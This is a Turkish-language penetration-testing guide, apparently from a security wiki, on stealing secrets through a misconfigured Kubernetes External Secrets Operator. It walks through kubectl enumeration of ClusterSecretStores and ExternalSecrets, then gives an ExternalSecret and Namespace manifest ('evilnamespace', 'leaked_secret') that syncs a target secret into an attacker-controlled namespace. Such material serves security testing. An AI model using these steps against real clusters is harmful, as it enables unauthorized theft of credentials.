Kubernetes External Secret Operator

Bu sayfanın orijinal yazarı Fares

Bu sayfa, yanlış yapılandırılmış bir ESO'dan veya uygulamanın sırlarını senkronize etmek için ESO kullanan bir uygulamadan sırları nasıl çalabileceğinize dair bazı ipuçları sunar.

Feragatname

Aşağıda gösterilen teknik, belirli koşullar sağlandığında yalnızca çalışabilir. Örneğin, bir sırrın senkronize edilmesine izin vermek için gereken gereksinimlere bağlıdır. Bu gereksinimleri kendiniz belirlemelisiniz.

Önkoşullar

  1. Yönetici ayrıcalıklarına sahip bir kubernetes / openshift kümesinde bir dayanak noktası

  2. En azından küme düzeyinde ExternalSecret'ı okuma erişimine sahip olun

  3. ESO'nun sırlarını senkronize etmesine izin veren gerekli etiketlerin / açıklamaların veya grup üyeliğinin olup olmadığını belirleyin. Şanslıysanız, tanımlanan herhangi bir sırrı serbestçe çalabilirsiniz.

Varolan ClusterSecretStore hakkında bilgi toplama

Bu kaynağı okuma yetkisine sahip olan kullanıcılara sahip olduğunuzu varsayarak; önce mevcut ClusterSecretStore listesini alarak başlayın.

kubectl get ClusterSecretStore

ExternalSecret numaralandırma

Varsayalım ki mystore adında bir ClusterSecretStore buldunuz. Devam ederek ilişkili externalsecret'leri numaralandırın.

kubectl get externalsecret -A | grep mystore

Bu kaynak ad alanı kapsamlı olduğundan, hangi ad alanını arayacağınızı zaten biliyorsanız, tüm ad alanlarını aramak için -A seçeneğini ekleyin.

Tanımlanan externalsecret listesini almalısınız. Varsayalım ki mysecret adında bir externalsecret nesnesi buldunuz ve mynamespace ad alanı tarafından tanımlanıp kullanılıyor. Tuttuğu gizli bilginin ne tür olduğu hakkında biraz daha bilgi toplayın.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Parçaları birleştirme

Buradan, bir veya birden fazla gizli adının adını alabilirsiniz (Secret kaynağında tanımlandığı gibi). Benzer bir çıktı alacaksınız:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Şimdiye kadar şunlara sahibiz:

  • Bir ClusterSecretStore adı

  • Bir ExternalSecret adı

  • Gizli bilginin adı

Artık ihtiyacımız olan her şeye sahip olduğumuza göre, bir ExternalSecret oluşturabilirsiniz (ve sonunda yeni bir gizli bilginin senkronize edilmesi için gereken ön koşullara uygun bir Namespace oluşturabilirsiniz):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Birkaç dakika sonra, senkronizasyon koşulları karşılandıysa, ad alanınızın içinde sızdırılan sırrı görebilmelisiniz.

kubectl get secret leaked_secret -o yaml

Referanslar

Last updated